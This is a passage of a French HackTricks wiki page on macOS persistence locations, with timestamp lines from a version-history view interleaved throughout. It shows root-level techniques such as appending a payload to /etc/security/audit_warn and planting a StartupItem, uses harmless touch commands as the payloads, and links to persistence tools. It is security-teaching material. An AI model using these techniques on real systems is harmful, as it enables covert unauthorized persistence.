Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/ ](https://theevilbit.github.io/beyond/beyond\_0031/ )
2023-06-03 13:10:46 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [🟠 ](https://emojipedia.org/large-orange-circle )
2023-09-28 20:19:42 +00:00
* Mais vous devez être root, auditd doit être en cours d'exécution et provoquer un avertissement
2024-09-21 18:24:59 +00:00
* Contournement TCC : [🔴 ](https://emojipedia.org/large-red-circle )
2023-06-03 13:10:46 +00:00
2023-09-28 20:19:42 +00:00
#### Emplacement
* **`/etc/security/audit_warn`**
2024-02-08 22:26:45 +00:00
* Root requis
2024-07-18 17:36:49 +00:00
* **Déclencheur** : Lorsque auditd détecte un avertissement
2023-09-28 20:19:42 +00:00
2024-02-07 05:33:01 +00:00
#### Description & Exploit
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
Chaque fois qu'auditd détecte un avertissement, le script ** `/etc/security/audit_warn` ** est **exécuté** . Vous pourriez donc y ajouter votre payload.
2023-06-03 13:10:46 +00:00
```bash
2023-09-28 20:19:42 +00:00
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
2023-06-03 13:10:46 +00:00
```
2024-09-21 18:24:59 +00:00
Vous pourriez forcer un avertissement avec `sudo audit -n` .
2024-03-29 21:02:51 +00:00
### Éléments de démarrage
2023-06-03 13:10:46 +00:00
2023-09-26 23:44:52 +00:00
{% hint style="danger" %}
2024-02-07 05:33:01 +00:00
**Ceci est obsolète, donc rien ne devrait être trouvé dans ces répertoires.**
2023-09-26 23:44:52 +00:00
{% endhint %}
2023-06-03 13:10:46 +00:00
2024-09-21 18:24:59 +00:00
Le **StartupItem** est un répertoire qui doit être positionné soit dans `/Library/StartupItems/` , soit dans `/System/Library/StartupItems/` . Une fois ce répertoire établi, il doit comprendre deux fichiers spécifiques :
2024-02-07 05:33:01 +00:00
1. Un **script rc** : Un script shell exécuté au démarrage.
2024-09-21 18:24:59 +00:00
2. Un **fichier plist** , spécifiquement nommé `StartupParameters.plist` , qui contient divers paramètres de configuration.
2024-02-07 05:33:01 +00:00
2024-09-21 18:24:59 +00:00
Assurez-vous que le script rc et le fichier `StartupParameters.plist` sont correctement placés dans le répertoire **StartupItem** pour que le processus de démarrage puisse les reconnaître et les utiliser.
2024-07-17 18:34:44 +00:00
{% tabs %}
{% tab title="StartupParameters.plist" %}
2023-06-03 13:10:46 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
2023-09-26 23:44:52 +00:00
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
2023-06-03 13:10:46 +00:00
< plist version = "1.0" >
< dict >
2023-09-26 23:44:52 +00:00
< key > Description< / key >
< string > This is a description of this service< / string >
< key > OrderPreference< / key >
< string > None< / string > <!-- Other req services to execute before this -->
< key > Provides< / key >
< array >
< string > superservicename< / string > <!-- Name of the services provided by this file -->
< / array >
2023-06-03 13:10:46 +00:00
< / dict >
< / plist >
```
2023-12-26 02:10:49 +00:00
{% endtab %}
2024-09-21 18:24:59 +00:00
{% tab title="nomdusuperservice" %}
2023-06-01 21:09:46 +00:00
```bash
#!/bin/sh
. /etc/rc.common
StartService(){
2023-09-26 23:44:52 +00:00
touch /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
StopService(){
2023-09-26 23:44:52 +00:00
rm /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
RestartService(){
2023-09-26 23:44:52 +00:00
echo "Restarting"
2023-06-01 21:09:46 +00:00
}
RunService "$1"
```
2024-02-07 05:33:01 +00:00
{% endtab %}
{% endtabs %}
2023-12-26 02:10:49 +00:00
### ~~emond~~
2023-09-28 20:19:42 +00:00
{% hint style="danger" %}
2024-09-21 18:24:59 +00:00
Je ne peux pas trouver ce composant dans mon macOS, donc pour plus d'infos, consultez le writeup
2023-09-28 20:19:42 +00:00
{% endhint %}
2024-07-17 18:34:44 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
Introduit par Apple, **emond** est un mécanisme de journalisation qui semble être sous-développé ou peut-être abandonné, mais il reste accessible. Bien qu'il ne soit pas particulièrement bénéfique pour un administrateur Mac, ce service obscur pourrait servir de méthode de persistance subtile pour les acteurs de la menace, probablement inaperçu par la plupart des administrateurs macOS.
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
Pour ceux qui sont au courant de son existence, identifier toute utilisation malveillante de **emond** est simple. Le LaunchDaemon du système pour ce service recherche des scripts à exécuter dans un seul répertoire. Pour inspecter cela, la commande suivante peut être utilisée :
2023-09-28 20:19:42 +00:00
```bash
ls -l /private/var/db/emondClients
```
### ~~XQuartz~~
2024-09-21 18:24:59 +00:00
Écriture : [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-09-28 20:19:42 +00:00
#### Emplacement
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
2024-09-21 18:24:59 +00:00
* Root requis
* **Déclencheur** : Avec XQuartz
2023-09-28 20:19:42 +00:00
2023-10-14 21:08:03 +00:00
#### Description & Exploit
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
XQuartz **n'est plus installé sur macOS** , donc si vous voulez plus d'infos, consultez l'écriture.
2023-09-28 20:19:42 +00:00
### ~~kext~~
{% hint style="danger" %}
2024-09-21 18:24:59 +00:00
C'est tellement compliqué d'installer un kext même en tant que root que je ne considérerai pas cela pour échapper aux sandboxes ou même pour la persistance (à moins que vous ayez un exploit)
2023-09-28 20:19:42 +00:00
{% endhint %}
#### Emplacement
2024-09-21 18:24:59 +00:00
Pour installer un KEXT en tant qu'élément de démarrage, il doit être **installé dans l'un des emplacements suivants** :
2023-09-28 20:19:42 +00:00
* `/System/Library/Extensions`
2024-09-21 18:24:59 +00:00
* Fichiers KEXT intégrés dans le système d'exploitation OS X.
2023-09-28 20:19:42 +00:00
* `/Library/Extensions`
* Fichiers KEXT installés par des logiciels tiers
2024-09-21 18:24:59 +00:00
Vous pouvez lister les fichiers kext actuellement chargés avec :
2023-09-28 20:19:42 +00:00
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
2024-09-21 18:24:59 +00:00
Pour plus d'informations sur [**les extensions du noyau, consultez cette section** ](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers ).
2023-09-28 20:19:42 +00:00
### ~~amstoold~~
2024-09-21 18:24:59 +00:00
Écriture : [https://theevilbit.github.io/beyond/beyond\_0029/ ](https://theevilbit.github.io/beyond/beyond\_0029/ )
2023-09-28 20:19:42 +00:00
#### Emplacement
* **`/usr/local/bin/amstoold`**
2024-09-21 18:24:59 +00:00
* Root requis
2023-09-28 20:19:42 +00:00
2023-12-26 02:10:49 +00:00
#### Description & Exploitation
2023-09-28 20:19:42 +00:00
2024-02-07 05:33:01 +00:00
Apparemment, le `plist` de `/System/Library/LaunchAgents/com.apple.amstoold.plist` utilisait ce binaire tout en exposant un service XPC... le problème est que le binaire n'existait pas, donc vous pouviez y placer quelque chose et lorsque le service XPC était appelé, votre binaire serait exécuté.
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
Je ne peux plus le trouver sur mon macOS.
2023-09-28 20:19:42 +00:00
### ~~xsanctl~~
2024-09-21 18:24:59 +00:00
Écriture : [https://theevilbit.github.io/beyond/beyond\_0015/ ](https://theevilbit.github.io/beyond/beyond\_0015/ )
2023-09-28 20:19:42 +00:00
#### Emplacement
* **`/Library/Preferences/Xsan/.xsanrc`**
2024-09-21 18:24:59 +00:00
* Root requis
2024-07-18 17:36:49 +00:00
* **Déclencheur** : Lorsque le service est exécuté (rarement)
2023-09-28 20:19:42 +00:00
2023-12-26 02:10:49 +00:00
#### Description & exploitation
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
Apparemment, il n'est pas très courant d'exécuter ce script et je n'ai même pas pu le trouver sur mon macOS, donc si vous voulez plus d'infos, consultez l'écriture.
2023-09-28 20:19:42 +00:00
### ~~/etc/rc.common~~
2023-06-01 21:09:46 +00:00
{% hint style="danger" %}
2024-09-21 18:24:59 +00:00
**Cela ne fonctionne pas dans les versions modernes de MacOS**
2023-06-01 21:09:46 +00:00
{% endhint %}
2024-07-18 17:36:49 +00:00
Il est également possible de placer ici **des commandes qui seront exécutées au démarrage.** Exemple de script rc.common régulier :
2023-06-01 21:09:46 +00:00
```bash
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
2023-09-26 23:44:52 +00:00
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
2023-06-01 21:09:46 +00:00
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
2023-09-26 23:44:52 +00:00
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
2023-06-01 21:09:46 +00:00
}
#
# Generic action handler
#
RunService ()
{
2023-09-26 23:44:52 +00:00
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
2023-06-01 21:09:46 +00:00
}
```
2023-09-28 20:19:42 +00:00
## Techniques et outils de persistance
2023-06-01 21:09:46 +00:00
* [https://github.com/cedowens/Persistent-Swift ](https://github.com/cedowens/Persistent-Swift )
* [https://github.com/D00MFist/PersistentJXA ](https://github.com/D00MFist/PersistentJXA )
2024-07-18 17:36:49 +00:00
{% hint style="success" %}
2024-09-21 18:24:59 +00:00
Apprenez et pratiquez le hacking AWS :< img src = "../.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "../.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Apprenez et pratiquez le hacking GCP : < img src = "../.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "../.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-06-01 21:09:46 +00:00
2024-07-18 17:36:49 +00:00
< details >
2023-06-01 21:09:46 +00:00
2024-09-21 18:24:59 +00:00
< summary > Soutenir HackTricks< / summary >
2023-12-31 00:10:32 +00:00
2024-09-21 18:24:59 +00:00
* Consultez les [**plans d'abonnement** ](https://github.com/sponsors/carlospolop ) !
* **Rejoignez le** 💬 [**groupe Discord** ](https://discord.gg/hRep4RUj7f ) ou le [**groupe telegram** ](https://t.me/peass ) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) et [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) dépôts github.
2023-06-01 21:09:46 +00:00
< / details >
2024-07-18 17:36:49 +00:00
{% endhint %}